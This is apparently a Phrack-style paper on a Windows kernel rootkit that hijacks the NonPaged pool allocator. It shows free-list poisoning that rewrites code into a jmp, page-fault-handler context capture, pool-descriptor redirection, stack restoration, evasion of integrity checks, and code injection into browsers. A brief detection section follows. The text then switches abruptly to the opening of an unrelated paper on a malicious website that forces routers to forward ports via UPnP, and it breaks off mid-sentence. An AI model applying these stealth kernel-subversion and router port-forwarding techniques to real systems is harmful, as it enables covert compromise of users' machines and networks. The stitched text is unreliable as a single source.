Rootkit sophistication depends on how it subverts the kernel. More 
complex techniques come out as kernel and hardware understanding evolve. 
Nowadays there is so many ways to subvert the kernel, in consequence 
protections become harder to defeat. We’re going to present a different 
means to gain control. Next techniques apply this approach to the kernel 
memory allocator. 

Our goal is getting execution on every NonPaged allocation without using
any hook. It must bypass any hooking verification even those based on code 
page comparison or hashing. It will be done by modifying data used by the 
allocator. We just apply the concept of using code against itself. We do 
believe that this concept can be used on others components and in 
different ways successfully.

We won’t try to convince you that this technique is perfect. It evades 
current protections and detection systems. The more important is that they 
would need more than a simple modification to prevent and block an attack
based on kernel code behavior.

---[ 3.1 - Kernel allocation layout review

As every operating system, Windows kernel puts forward some functions in 
order to allocate or free memory. Virtual memory is organized as block of 
memory called pages. In Intel x86 architecture, a page size is 4096 bytes 
and most allocations requests are smaller. Thus, kernel functions like 
ExAllocatePoolWithTag and ExFreePoolWithTag kept unused memory blocks for 
next allocations. Internal functions directly interact with hardware each 
time a page is needed. All those procedures are complex and delicate that’s
why drivers trust kernel implementation.

-----[ 3.1.1 - Difference between Paged and NonPaged pool

Kernel system memory is divided in two different kind of pool. It has been 
separated to distinguish most used memory blocks. The system must know 
which pages should be resident and which can be temporarily discarded. The 
page fault handler restores pageable memory only when IRQL is inferior of
DPC or DISPATCH level. Paged pool can be paged in or out of the system. A 
memory block paged out will be saved on the file system and so unused part 
of paged memory will not be resident in memory. NonPaged pool is present 
in every IRQL level and then is put-upon for important tasks.

The file pagefile.sys contains paged out memory. It was attacked to inject 
unsigned code into Vista kernel [32]. Some solutions was discussed as 
disabling kernel memory paging. Joanna Rutkowska defended this solution as
more secure than others but with a small physical memory loss. Microsoft
just denied raw disk access, which may prove that Paged and NonPaged 
layout is an important feature of Windows kernel [33].

This article focuses on NonPaged pool layout as PagedPool handling is 
totally different. NonPaged pool can be more or less considered as 
following a typical heap implementation. Global information about system 
pool can be found in Microsoft Windows Internals [34].

-----[ 3.1.2 - NonPaged pool tables

The allocation algorithm must be fast allocating on the most used sizes. 
That why three different tables exist and each one is devoted to a size 
range. We found this organization in most memory management algorithms. 
Retrieving memory blocks from hardware takes time. Windows balances between
response faster and avoid memory wasting. Response time becomes faster if 
memory blocks are stored for next allocations. In the other hand, if you 
keep too much memory, it can penalize memory demands.

Each table implements a different way to store memory blocks. We will 
present each table and where you can find them.
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The NonPaged lookaside is a per-processor table covering size inferior or 
equal to 256 bytes. Each processor has a processor control register (PCR) 
storing data concerning only a single processor like IRQL level, GDT, IDT. 
Its extension called processor control region (PCRB) contains lookasides 
tables. Next windbg dump presents NonPaged lookaside table and its 
structure.

kd> !pcr
KPCR for Processor 0 at ffdff000:
    Major 1 Minor 1
  NtTib.ExceptionList: 805486b0
      NtTib.StackBase: 80548ef0
     NtTib.StackLimit: 80546100
   NtTib.SubSystemTib: 00000000
        NtTib.Version: 00000000
    NtTib.UserPointer: 00000000
        NtTib.SelfTib: 00000000

              SelfPcr: ffdff000
                 Prcb: ffdff120
                 Irql: 00000000
                  IRR: 00000000
                  IDR: ffffffff
        InterruptMode: 00000000
                  IDT: 8003f400
                  GDT: 8003f000
                  TSS: 80042000

        CurrentThread: 80551920
           NextThread: 00000000
           IdleThread: 80551920

            DpcQueue:  0x80551f80 0x804ff29c
kd> dt nt!_KPRCB ffdff120
[...]
   +0x5a0 PPNPagedLookasideList : [32]
      +0x000 P                : 0x819c6000 _GENERAL_LOOKASIDE
      +0x004 L                : 0x8054dd00 _GENERAL_LOOKASIDE
[...]
kd> dt nt!_GENERAL_LOOKASIDE
   +0x000 ListHead         : _SLIST_HEADER
   +0x008 Depth            : Uint2B
   +0x00a MaximumDepth     : Uint2B
   +0x00c TotalAllocates   : Uint4B
   +0x010 AllocateMisses   : Uint4B
   +0x010 AllocateHits     : Uint4B
   +0x014 TotalFrees       : Uint4B
   +0x018 FreeMisses       : Uint4B
   +0x018 FreeHits         : Uint4B
   +0x01c Type             : _POOL_TYPE
   +0x020 Tag              : Uint4B
   +0x024 Size             : Uint4B
   +0x028 Allocate         : Ptr32     void*
   +0x02c Free             : Ptr32     void
   +0x030 ListEntry        : _LIST_ENTRY
   +0x038 LastTotalAllocates : Uint4B
   +0x03c LastAllocateMisses : Uint4B
   +0x03c LastAllocateHits : Uint4B
   +0x040 Future           : [2] Uint4B
   
Lookaside tables permit faster block retrieving than typical double linked 
list. For this optimization lock time is really important and a single 
linked list is a faster mechanism than software locking. 
ExInterlockedPopEntrySList function is used to pop an entry from a single 
linked list using hardware locking instruction "lock".

PPNPagedLookasideList is the lookaside table we were talking about. It 
contains two lookaside lists P and L. Depth field of the GENERAL_LOOKASIDE 
structure defines how many entries can be in ListHead single list. The 
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system updates regularly the depth using different counters. The update 
algorithm is based on processor number and is different for P and L. Depth 
of the P list is updated more frequently than L list as it optimizes 
performances on very small blocks.

The second table depends how many processors are used and how system 
managed them. Allocation system walk it if size is inferior or equal to 
4080 bytes or if lookaside research failed. Even if target table can 
change, it always has the same POOL_DESCRIPTOR structure. On single 
processor, a variable called PoolVector is used to retrieve 
NonPagedPoolDescriptor pointer. On multi processor, the 
ExpNonPagedPoolDescriptor table has 16 slots containing pool descriptors. 
Each processor PRCB points on a KNODE structure. A node can be linked on 
more than one processor and contains a color field used as an index in 
ExpNonPagedPoolDescriptor. Next figures illustrate this algorithm.

          PoolVector
        +------------+
        |  NonPaged  | --------------> NonPagedPoolDescriptor
        |------------+
        |   Paged    |
        +------------+

         [ Figure 1 - Single processor pool descriptor ]

         Processor #1
        +------------+
        |            |                  ExpNonPagedPoolDescriptor
        |    PRCB  ------\                +-------------------+
        |            |   |          /---------> SLOT #01      |
        +------------+   |          |     |     SLOT #02      |
               /---------/          |     |     SLOT #03      |
               |         KNODE      |     |     SLOT #04      |
               |---> +------------+ |     |     SLOT #05      |
               |     | Proc mask  | |     |     SLOT #06      |
               |     | color (01) --/     |     SLOT #07      |
               |     | ...        |       |     SLOT #08      |
               |     +------------+       |     SLOT #09      |
               |                          |     SLOT #10      |
               \---------\                |     SLOT #11      |
         Processor #2    |                |     SLOT #12      |
        +------------+   |                |     SLOT #13      |
        |            |   |                |     SLOT #14      |
        |    PRCB  ------/                |     SLOT #15      |
        |            |                    |     SLOT #16      |
        +------------+                    +-------------------+

        [ Figure 2 - Multiple processor pool descriptor ]

A global variable ExpNumberOfNonPagedPools defines if multi processor case 
is used. It should reflect processor number but it can change between 
operating system versions.

The next dump shows POOL_DESCRIPTOR structure from windbg.

kd> dt nt!_POOL_DESCRIPTOR
   +0x000 PoolType         : _POOL_TYPE
   +0x004 PoolIndex        : Uint4B
   +0x008 RunningAllocs    : Uint4B
   +0x00c RunningDeAllocs  : Uint4B
   +0x010 TotalPages       : Uint4B
   +0x014 TotalBigPages    : Uint4B
   +0x018 Threshold        : Uint4B
   +0x01c LockAddress      : Ptr32 Void
   +0x020 PendingFrees     : Ptr32 Void
   +0x024 PendingFreeDepth : Int4B
   +0x028 ListHeads        : [512] _LIST_ENTRY

Queued spinlock synchronization, part of HAL library, is used to restrict 
concurrency on a pool descriptor. It assures that only one thread and one 
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processor will access and unlink an entry from a pool descriptor. HAL 
library changes on different architectures and what is a simple IRQL 
raising on single processor becomes a more complex queued system on 
multi-processor. For default pool descriptor, general NonPaged queued 
spinlock is locked (LockQueueNonPagedPoolLock). Else, a custom queued 
spinlock is created.

The third and last table is shared by processors for size superior of 4080 
bytes. MmNonPagedPoolFreeListHead is also used when others tables lack 
memory. It composed by 4 LIST_ENTRY each one representing a page number, 
except for the last one which holds all superiors pages kept by the system.
Access to this table is guarded by general non paged queued spinlock 
also called LockQueueNonPagedPoolLock. During the free procedure of a 
smaller block, ExFreePoolWithTag merges it with previous and next free 
blocks. It can create a block superior or equal to 1 page. In this case, 
the new block is added in the MmNonPagedPoolFreeListHead table.

-----[ 3.1.3 - Allocation and free algorithms

Kernel allocation does not change that much between OS versions but its 
algorithm is as hard as the userland heap one. In this part, we want to 
illustrate basic behavior between tables during allocation or free 
procedures. A lot of details have been thrown away such as synchronization 
mechanisms. Those algorithms will help you for the technique explanation 
but also understanding the basic elements of kernel allocation. Despite 
kernel exploitation is not part of this paper, pool overflow is an 
interesting topic that needs understanding of some part of this algorithm. 

NonPaged pool allocation algorithm (ExAllocatePoolWithTag):

    IF [ Size > 4080 bytes ]
      [
        - Call the MiAllocatePoolPages function
          - Walk MmNonPagedPoolFreeListHead LIST_ENTRY table.
          - Retrieve memory from hardware if necessary.
          - Return memory page aligned (without header).
      ]

    IF [ Size <= 256 bytes ]
      [
        - Pop entry from PPNPagedLookasideList table.
        - If something is found return memory block.
      ]

    IF [ ExpNumberOfNonPagedPools > 1 ]
      - PoolDescriptor from ExpNumberOfNonPagedPools and used index
        comes from PRCB KNODE color.
    ELSE
      - PoolDescriptor is PoolVector first entry, designed by symbol
        as NonPagedPoolDescriptor.

    FOREACH [ >= Size entry of PoolDescriptor.ListHeads ]
      [
        IF [ Entry is not empty ]
          [
            - Unlink entry and split it if needed
            - Return memory block
          ]
      ]

    - Call the MiAllocatePoolPages function
      - Walk MmNonPagedPoolFreeListHead LIST_ENTRY table..
      - Split it correctly to the right size
      - Return new memory block

NonPaged pool free algorithm (ExFreePoolWithTag) :

    IF [ MemoryBlock is page aligned ]
      [
        - Call the MiFreePoolPages function
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          - Determine block type (Paged or NonPaged)
          - Depending on how many blocks are kept in
            MmNonPagedPoolFreeListHead, we release it to the hardware.
      ]
    ELSE
      [
        - Merge previous and next block if possible

        IF [ NewMemoryBlock size <= 256 bytes ]
          [
            - Look at PPNPagedLookasideList entry depth and see if we
              should keep it.
            - We return if memory block is pushed into lookaside list
          ]

        IF [ NewMemoryBlock size <= 4080 bytes ]
          [
            - Use POOL_HEADER PoolIndex variable to determine which
              PoolDescriptor must be used.
            - Insert it in the proper LIST_ENTRY array entry
            - If anything goes well, return
          ]

        - Depending on how many blocks are kept in
          MmNonPagedPoolFreeListHead, we release it to the hardware.
      ]

Paged pool algorithm is very different especially for page aligned blocks. 
Smaller size management should be not that far from NonPaged but in 
assembly code we definitely saw that NonPaged and Paged pool are totally 
separated. Once you know a little more about how NonPaged allocation works,
we can now talk about exploitation part.

---[ 3.2 - Getting code execution abusing allocation code

Our main goal is getting code execution on every allocation attempts for  
NonPaged pool only. This result must be done only by changing data used by 
targeted code. Our purpose is proving that kernel code can serve our 
interest only by changing typical data environment. Our work is based
on a new rootkit developed to gain control over NonPaged allocation.

We start with getting code execution for allocation superior or equal
to 1 page. As we saw on previous part, it concerns the third and last 
table.

-----[ 3.2.1 - Data corruption of MmNonPagedPoolFreeListHead

MmNonPagedPoolFreeListHead conserves page aligned memory blocks to speed up
memory allocation. It links held memory block using a LIST_ENTRY structure.
This structure is common and use in Windows heap library for example.

kd> dt nt!_LIST_ENTRY
   +0x000 Flink            : Ptr32 _LIST_ENTRY
   +0x004 Blink            : Ptr32 _LIST_ENTRY

MmNonPagedPoolFreeListHead access is protected by general NonPaged queued 
spinlock LockQueueNonPagedPoolLock. It assures that only one thread and 
processor can look and modify this structure.

So we need a way to get control over allocation and unlinking procedure 
seems perfect. We can poison this linked list with a fake entry, with the 
highest size possible, which unlinking will modify current executed code. 
At kernel level, you can modify code as data without any protection issues.
Unlinking was used when heap exploitation started [20] but modifying code 
was not possible from userland. As spinlock assures us exclusivity, there 
is no risk on some race condition. The created "hook" would be dynamic and 
code restored directly. Page guard protection reverse [18] shows that code 
is only checked every 5 minutes. Whether a modification is found, real code
is just replaced.
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This method has plenty assets but also a lot of obstacles. Let start by
enumerating all those obstacles :

 - On a basic implementation of unlinking, list become unwalkable.
   It breaks most utilization of the table.
 - Pass through page cleaning methods and always be the first block on the 
   list otherwise we could miss some call.
 - We break code path and sooner or later we must return as if our
   hijacking has never been there and everything goes fine.
 - Processor prefetch make self code modification dangerous.

Unlinking gives us 4 bytes overwriting to build an opcode and create a 
redirection. In our case, we influenced current context and a register 
should point to the unlinked entry. We said should point without choosing a
single register because kernel changes between versions or service packs. 
As soon as we discuss context, we will stay talking about general 
situations. We choose to make a jmp [reg+XX] which is FF60XX in hex.

This technique effectiveness lies on keeping the MmNonPagedPoolFreeListHead
walkable. A double linked list, as LIST_ENTRY, is walkable if Flink is 
correct. Therefore we can choose an address for Flink as 0xXXXX60FF and 
Blink will point to the code address. The Intel x86 architecture using 
little endian our address is quite easy to found, we must check opcode 
offset and discard too close possibilities. Next figure illustrates a 
poisoned entry.

          MmNonPagedPoolFreeListHead[i]
   /------> +--------------------+
   |        |       Flink        | ---\
   |        |--------------------|    |
   |  <---- |       Blink        |    |
   |        +--------------------+    |
   |        |        ...         |    |
   |        +--------------------+    |
   |  /-------------------------------/
   |  |
   |  |         Poisoned entry
   |  |     +--------------------+
   |  |     | PreviousSize : -   |
   |  |     +--------------------+
   |  |     |   PoolIndex : -    |
   |  |     +--------------------+
   |  |     | PoolType: NonPaged |
   |  |     +--------------------+
   |  |     |   BlockSize : i    |
   |  |     +--------------------+
   |  |     |    PoolTag : -     |
   |  \---> +--------------------+
   |        | Flink : 0xYYXX60FF | <--\
   |        |--------------------|    |
   |   X--- | Blink : 0x80YYYYYY |    |
   |        +--------------------+    |
   |                                  |
   |  /-------------------------------/
   |  |     Fake entry (0xYYXX60FF)
   |  |     +--------------------+
   |  |     | PreviousSize : -   |
   |  |     +--------------------+
   |  |     |   PoolIndex : -    |
   |  |     +--------------------+
   |  |     | PoolType: NonPaged |
   |  |     +--------------------+
   |  |     |   BlockSize : < i  |
   |  |     +--------------------+
   |  |     |    PoolTag : -     |
   |  |---> +--------------------+
   |  |     | Flink : 0x80.....  | ---\
   |  |     |--------------------|    |
   |  \---- | Blink : Poisoned   |    |
   |        +--------------------+    |
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   \--------------- [...] ------------/

    Unlinking instruction      : mov [0x80YYYYYY], 0xYYXX60FF
    New Opcode after unlinking : jmp [reg+XX] (FF 60 XX)

   [ Figure 3 - Poisoned double linked list ]
   
This figure shows a MmNonPagedPoolFreeListHead entry layout that assures 
predicted unlinking and then code execution. We must maintain this layout 
or we will lose our position. NonPaged blocks come from two different 
virtual memory ranges. The second memory region start is stored in 
MmNonPagedPoolExpansionStart. A cleaning function is called sometime to 
free blocks from the expansion NonPaged pool. To avoid this cleaning, we 
can use a Paged pool block locked. You can lock a memory block with the
MmProbeAndLockPages function. This lock makes described memory region as 
resident. Another more discreet way is to remap a NonPaged block with the 
function MmMapLockedPagesSpecifyCache. It is more discrete because this 
mapping would be just before expansion NonPaged pool memory range. Using
a locked Paged pool block creates an address totally differently. A quick 
look at those addresses between NonPaged ones show a clear difference.
As virtual memory is very large, it does not take too much time to find 
an address like 0xYYXX60FF. We will not unlock those pages until our
technique is running.

To defeat code path issues we differentiate two different states. The first
state is when our block is selected. The second state is when our block is 
unlinked. If we were able to return to the first step with our next fake 
entry selected, we could continue walking code as normal. We achieve that 
by using a generic approach. At IRQL equal to DISPATCH_LEVEL, we corrupt a 
MmNonPagedPoolFreeListHead entry with some invalid pointers. With a hook on
the page fault handler we are capable to see first and second stages, 
restore the right context each time and save context difference between 
those states. 

Assembly dump from MiAllocatePoolPages :

  lea     eax, [esi+8] ; Stage #1 esi is selected block and esi+8 its size
  cmp     [eax], ebx   ; Check with needed size
  mov     ecx, esi
  jnb     loc_47014B
  [...]
  
loc_47014B:
  sub     [esi+8], ebx
  mov     eax, [esi+8]
  shl     eax, 0Ch
  add     eax, esi
  cmp     _MmProtectFreedNonPagedPool, 0 ; Protected mode, don’t care
  mov     [ebp+arg_4], eax
  jnz     short loc_47016E
  mov     eax, [esi]      ; \ Stage #2
  mov     ecx, [esi+4]    ; | Unlinking
  mov     [ecx], eax      ; | procedure
  mov     [eax+4], ecx    ; /
  jmp     short loc_470174

Now let’s see how it works during our test technique with interrupt fault
handler (int 0xE) hooked :

  lea     eax, [esi+8]
                       ; Stage #1 - Check with needed size
  cmp     [eax], ebx   ; ----> PAGE FAULT esi = 0xAAAAAAAA | eax = esi + 8
                       ;     - We keep EIP and all registers
                       ;     - Scan all registers for 0xAAAAAAAA +/- 8
                       ;       and correct the current context. Continue.
  mov     ecx, esi
  jnb     loc_47014B
  [...]
  
loc_47014B:
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  sub     [esi+8], ebx
  mov     eax, [esi+8]
  shl     eax, 0Ch
  add     eax, esi
  cmp     _MmProtectFreedNonPagedPool, 0 ; Protected mode, don’t care
  mov     [ebp+arg_4], eax
  jnz     short loc_47016E
  mov     eax, [esi]      ; \ Stage #2 - Unlinking procedure
  mov     ecx, [esi+4]    ; |
  mov     [ecx], eax      ; | ------> PAGE FAULT ecx = 0xBBBBBBBB
                          ; |                    eax = 0xCCCCCCCC
                          ; |     - Keep EIP and sub this context from
                          ; |       Stage #1 saved context
                          ; |     - Change fault registers and 
                          ; |       structure pointers. Continue.
  mov     [eax+4], ecx    ; /
  jmp     short loc_470174
    
Fault addresses 0xAAAAAAA, 0xBBBBBBBB and 0xCCCCCCCC must point on invalid
addresses to force a caught page fault. This test is made only once and 
when we still have exclusivity on all processors. The int 0xE (page fault)
handler is restored just after.

This generic technique permits us to restore a valid context just before 
selected block size is checked. Once we get code execution, we apply 
context difference, change the current block register and then return at 
first stage address. It works well because our two stages are very close, 
once a selected block size is checked, unlinking is directly made.

Given examples were based on a single LIST_ENTRY of the 
MmNonPagedPoolFreeListHead table but you must poison all entries. If a 
given entry is empty (except for our fake blocks), the algorithm tries 
next the entry. It means we will be called more than one time per 
allocation. We created a mechanism to manage multiple call on a single 
allocation. If the first entry is empty, the second entry is used and so 
on. Then we will be called twice or more. By checking current table, we 
can predict a future code execution on the same allocation and avoid 
executing payload more than one time per allocation request.

Prefetch is a processor feature that retrieves more than a single 
instruction from memory before it executes them. Some processor use a 
complex branch prediction algorithm to fetch as much instruction as 
possible. After some tests, we saw that processors invalidate code cache 
when a modification occurs in cached memory addresses. Our driver supports 
a case where code modification could be right after current instruction. 
To achieve that we created a routine which calculates prefetch cache size 
and consider it in next parts of our technique. We could also search 
specifics instructions which clean prefetch cache like a far jump but it 
can only be used as an option.

This technique gives us code execution for NonPaged allocation superior or 
equal to 1 page. It achieves that with a stealth hook, created by kernel 
code and cleaned by our routine directly after. It’s far from being 
perfect as those allocations are not used that much. Next part describes 
how this technique can be extended to gain control over all NonPaged pool 
allocations.

-----[ 3.2.2 - Expend it for every size

Others lists can not be hijacked the same way because synchronization 
mechanisms are not exclusive. Changing some assembly code becomes tricky if
it can be executed by more than one thread at a time. Our method is 
assuring our previous technique execution on any allocation. Once we have 
control, we can find a way to retore ExAllocatePoolWithTag context with a 
correct return value. We must do that without recoding a single line of 
memory allocator. It is possible to create our own allocator but Windows 
one is great and it will perfectly do the job for us.

During allocation, the lookaside list is checked first. It will pop an 
entry and if this entry is not NULL, use it. This entry comes from 
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GENERAL_LOOKASIDE ListHeader field. This field structure is SLIST_HEADER.

kd> dt nt!_SLIST_HEADER .
   +0x000 Alignment        : Uint8B
   +0x000 Next             :
      +0x000 Next             : Ptr32 _SINGLE_LIST_ENTRY
   +0x004 Depth            : Uint2B
   +0x006 Sequence         : Uint2B

The ExInterlockedPopEntrySList function pops an entry from a SLIST_HEADER
structure. The Next field is a pointer to the next SLIST node (single 
linked list). The Depth field represents how many entries are kept in the 
list. ExFreePoolWithTag compare GENERAL_LOOKASIDE optimal depth with 
current SLIST_HEADER depth. ExAllocatePoolWithTag does not check this 
field and just looks if some entry can be popped out Next field. To stunt 
allocation and free procedure on NonPaged lookaside table, we set Next 
field to NULL and Depth field to 0xFFFF. This state will be preserved and 
this table will not be used anymore. 

Our technique expansion relies entirely on subverting how the 
ExpNonPagedPoolDescriptor table is used. In the previous part, we explained
global variable ExpNumberOfNonPagedPools involvement in this process. It 
is possible to expand number of NonPaged pools and then play with current 
KNODE color. During allocation, the KNODE color defines which pool 
descriptor is used. Then during free procedure, PoolIndex field of 
POOL_HEADER keep pool descriptor color.

So we can use this nice feature to our advantage. Default KNODE color on 
every processors would point on an empty pool descriptors. It will lead to 
code execution using our base technique. If the function 
MiAllocatePoolPages return address is not the one use for classical page 
rounded allocation, we know that a smaller allocation occur. All we have 
to do is switch PRCB KNODE pointer to a copy with custom color and recall 
ExAllocatePoolWithTag. Everything related to allocation and block 
management will be implemented as it needs to be even if it differs 
between operating system versions. Returned blocks PoolIndex will point to 
our own pool descriptor and free procedure, which will perfectly work. Lets
see how it will look on a single processor.

      ExpNonPagedPoolDescriptor
        +-------------------+  
        | PREVIOUS POOLDESC | <--- Kept for compatibility (0)
        |  EMPTY POOLDESC   | <--- Default KNODE->color (1)
        |        --         |  
        |        --         |  
        |        --         |  
        |        --         |  
        |        --         |  
        |        --         |  
        |        --         |  
        |        --         |  
        |        --         |  
        |        --         |  
        |        --         |  
        |        --         |  
        |        --         |  
        |  CUSTOM POOLDESC  | <--- Used for our allocations (16)
        +-------------------+  

      [ Figure 4 - Corrupted ExpNonPagedPoolDescriptor ]
      [            on single processor                 ]

This setup is just an example and you can manage the arrangement as you 
want. We could transfer previous blocks from older pool descriptors in our 
own and then receive free blocks. It is also possible to use multiple pool 
descriptors and so on. Beware of system pool descriptor recycling as it can
leads to strange behavior specially on multi-processor architecture.

Once we have our fresh allocated block, we must return at 
ExAllocatePoolWithTag return address. MiAllocatePoolPages has been called 
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to retrieve a new page and fill the current pool descriptor with it. It’s 
obvious that we can’t return normally and let page allocation occurs. On 
Intel x86 architecture the stack is used to store local variables, 
arguments and saved registers. The Windows compiler starts by reserving 
local variable and then pushes each register before its modification. 
The next figure shows our stack configuration once we have code execution.

    top
      +--------------------+
      | Our stack elements |      Restore assembly example
      +--------------------+ <------ /---------------\
      |                    |         | pop ecx       |
      |  Saved registers   |         | pop ebx       |
      |                    |         | pop esi       |
      +--------------------+         | leave         |
      |                    |         | retn 0Ch      |
      |                    |         \---------------/
      |                    |                |
      |                    |                |
      |  Stack variables   |                |
      |                    |                |
      |                    |                |
      |                    |                |
      +--------------------+         [new stack level]
      |     Saved EBP      |                |
      +--------------------+                |
      |   Return Address   |                |
      +--------------------+                |
      |                    |                |
      | Function arguments |                |
      |                    |                |
      +--------------------+ <--------------/
    bottom

      [ Figure 5 - Stack context after code execution ]
      [            ˜ small blocks case ˜              ]

The restore assembly part shows correct assembly in current function which 
perfectly restores the context. It does not correspond of the first series 
of pop instruction before return. There is an important risk that some 
register has not been pushed yet. It is possible to deduce the pushed 
register number by looking at function prologue when stack variables are 
reserved. In the Windows compiler, it’s quite simple and we can easily 
calculate the pushed register number. A simple disassembly analysis on 
needed pop register number does the job. It must be done for 
MiAllocatePoolPages and ExAllocatePoolWithTag. We change the return 
address stored in the stack and go to the deduced MiAllocatePoolPages 
address. Last step is setting eax register for the return value. Both 
functions return a value and preserve eax value. Our analyzer is dynamic 
and registers each pop and its register. That why we can restore the 
proper context even if it changes between versions.

The Windows compiler is really easy to predict and does not create too 
strange assembly organization. This technique is theoretically possible 
on every assembly code that follow stdcall specification. The approach 
could differ on others compilers.

---[ 3.3 Exploit our position

This article present a way of subverting the Windows kernel by modifying 
only data. No function pointers, no static hooking or others classical 
technique. It could exempt us of any other explanation. But it would not 
be complete without some concrete examples. I personally believe that the 
only limitation here is imagination.

-----[ 3.3.1 Generic stack redirection

Allocation occurs in so many places that you must rely on known context 
and functions. Once everything is setup and before releasing exclusivity, 
some stack redirection database can be created.
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The first way to do this is calling a handler if stack backtracing 
reveals a specific function. Stack backtracing shows only return addresses
and not which function call it. Debuggers resolve those functions by deep
analysis or symbol checking. Implementing those features would take too 
much time. So it’s better to target a specific return address on 
ExAllocatePoolWithTag stack frame. It will definitely improve check speed. 
To do that, we indicates to our stack redirection API that we target a 
specific function. Then launch a normal call or procedure that will lead to
our function. Every allocation during this time will show important 
backtrace stacks.

Let say, we target an IRP and we know which function handles it by looking 
at IRP dispatch table. We also know by reversing that it will allocate a 
NonPaged block. Launching an I/O request, our API could register some 
NonPaged call and recognize later.

In the wild, it will call the appropriate handler with sub context 
information. Sometimes getting a context is not enough. The second way 
stays on same principles but modifies the stack to assure our handler is
called once the function end. Efficiency depends on what is your target 
and how you modifying it. 

-----[ 3.3.2 Userland process code injection

This technique can be also used to inject code in userland to subvert 
trusted applications. NonPaged allocation occurs a lot in kernel mode and 
it happens in every process. Some kernel drivers like win32k.sys call 
userland many times. This call is achieve by the function 
KeUserModeCallback [35]. It modifies userland stack to switch temporarily
for a call in userland. Available functions are limited by a table. 

Userland injection from kernel should not be resident and only concern
known trusted application as browsers. Injection can be done on 
explorer.exe as well to launch an hidden instance of a trusted program.
KeUserModeCallback algorithm can be easily remade or copied then 
relocated.Redirection table could be subverted to redirect the call. We 
can also think about exploiting userland calls. It does not make any sense 
to add checks on those available functions.

--[ 4 - Detection

This article does not try to convince you that subverting IDT or 
allocation mechanism using advanced technique is the future. Most detection
tools only indicate if a rookit may or may not be in this computer. It has 
pains identifying which module is responsible. It detects antivirus or 
firewall as rootkits. A protection layout could detect itself as a rootkit 
because it does everything a rootkit does and so does not ask it to block 
or uninstall a rootkit. Rootkit papers demonstrate so many great ways to 
easily bypass those protections. But we don’t see much those techniques in 
the wild, simply because rootkits don’t need them for the moment. 

Detect software behavior modification could be part of a Verifiable 
Operating System [36]. It will involve basic checks on known memory 
structures. Checks integrity of LIST_ENTRY structures and correct them if
needed. We can blame rootkit protections as much as we want but detecting 
rootkits on a closed operating system is almost impossible. Gives more 
information for kernel components will certainly leads to more 
sofisticates attacks. In the other hand, it could reduce attack surface. 
It is specially true on a defence oriented operating system. Next 
protection improvements should come from the operating system itself.

Now that there are hardware improvements for virtualisation, such as
hypervisors, there will be extensions to hardware to detect and protect
against rootkits. It offers a real control on operating system behavior 
without advanced research on kernel layout. Some protections techniques 
that were impossible to implement in Windows environment like PAX, could 
rely on those hardware features. Our techniques could be detected by 
registering and monitoring some specific events on the processor. It is 
possible today to do that but performance issues are important.
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Our attacks could be blocked using targeted protection such as signatures. 
An attack is defined as how many times it takes to create a generic 
protection. In this area, Patchguard is an important improvement.

--[ 5 - Conclusion

This papers techniques were made to show that elegant software hijacking 
can still evades most protections and avoid any performance issues or 
unstable behaviors. Even though, these techniques are hardly reliable and
should be considered only as a technical proof of concept. New protections
are not efficient enough or present. They do not represent a threat for
a rootkit which targets millions of computers. Reversing is an important 
tool in improving software rootkits techniques. Detecting that a rootkit
is present should not be enough. A protection which cannot uninstall a
rootkit or prevent infection is useless. Drivers signatures was a good 
idea as it was designed to stop current infections entries. But infection
prevention includes local kernel exploitation. Generic detection of those 
attacks would need an important improvement in anti-rootkits protections 
and operating system design.
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--[ 1 - Introduction / An overview of NAT and UPnP.

Welcome reader, this paper is a short attempt at documenting a 
practical technique we have been working on. Although our technique 
uses very similar technology to many other attacks, we have not 
seen this documented in such a manner before, nor have we seen a 
practical implementation in the wild. This paper is therefore designed 
to accommodate this.

Our technique allows the attacker (us) to craft a website which, 
when visited, will cause the victim to inadvertently forward any port 
of our choice through their NAT, allowing us to connect directly to them 
inside their private network via UPnP.

Before we launch into the specifics of the technique, or our 
implementation details, you must first be familiar with a couple of 
fairly straight forward concepts. These are: "Network Address 
Translation" (NAT) and "Universal Plug and Play" (UPnP).

Hopefully most people reading this paper are already familiar with 
NAT. For those who arn’t, NAT basically allows several machines 
to share a single IP address without conflict. This means that a single 
computer or router acts as a gateway for several other computers. To 
learn more about the specifics of NAT read the RFC in the references 
section [1].

For a typical home user, NAT is implemented by their DSL modem/router
and is fairly seamless. The internal IP address is assigned by a DHCP
service on the router and internal users are almost never aware of 
their external address.

It is a common misconception that NAT provides an impenetrable
security layer for the internal hosts. Often this leads to a 
more lapse security policy for internal machines, and a nice 
gaping hole for anyone who manages to penetrate the outer shell.  
It is very common to find publicly accessible smb shares or poorly 
patched services etc. using our technique.

The other concept which you must be familiar with before we 
can get into the (hopefully) interesting section of this paper
is "Universal Plug and Play ", UPnP. 

Universal Plug and Play (UPnP) is a set of protocols which were 
consolidated by the UPnP forum. The general theme which all these 
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protocols have in common is that they allow for seamless implementation 
of networks and data communication.

The major feature of this protocol suite which is of interest to us in 
the context of this paper is the NAT punching functionality.

This feature describes how a gateway can parse various protocols 
passing through it in order to forward ports through the NAT to the 
internal service. It is designed in order to allow any host behind the 
NAT to request that a port be opened up in the outer layer, and any 
traffic received on this port will be forwarded through to the internal
machine, creating new channel for communications.  This functionality
allows protocols such as FTP/SIP/etc to function.  In these cases the 
gateway responsible for NAT will parse the protocol stream looking for 
requests for a separate channel to be created. It will then search and
replace the IP and port values as they pass over the wire, replacing 
them with the external values.  Thus, the other end of the transaction
knows to try to connect to the external IP address and port, rather 
than the internal values.

It is very common currently for most household ADSL/modems and routers 
to ship with UPnP enabled by default. Also the Linux kernel supports 
UPnP with ipfilter, however this isn’t a default config option and
only really active when using a Linux box as a gateway device.

It’s this feature that we are able to exploit in order to create the 
forwarding of our choice, allowing us access any specific port on a 
host behind the NAT directly, regardless of the fact the NAT is there.

--[ 2 - Implementation Specifics

In this chapter we will try to provide a detailed overview of our 
technique itself and discuss our implementation details. We will 
try to explain the criteria for selecting each of the protocols and 
technologies we used for implementing each component of our technique.

For those of you familiar with the technologies associated with our 
implementation, the overview below should be enough for you to implement 
our technique by yourself.  However we would like to note that our 
technique can be implemented in other ways, and our implementation 
serves as just one example. We will only discuss the various technologies 
used by felinemenace throughout the rest of this paper.

The basic premis of our technique is to encapsulate one protocol 
(specifically one of the protocols which are handled by UPnP NAT 
Punching functionality) within a second, transport protocol. This way 
when the gateway see’s the traffic it will interpret the encapsulated 
protocol string as a request to open a port, and act accordingly.

Our implementation begins by convincing the victim to visit a website 
of our choice. This can be accomplished via social engineering, cross 
site scripting, phishing, baiting, banner ads, etc. Once the victim 
has accessed our site, we have enough control over their browser in 
order to redirect it to any port of our choice, on any address. This 
flexibility allows us to accomodate almost any choice of protocol to 
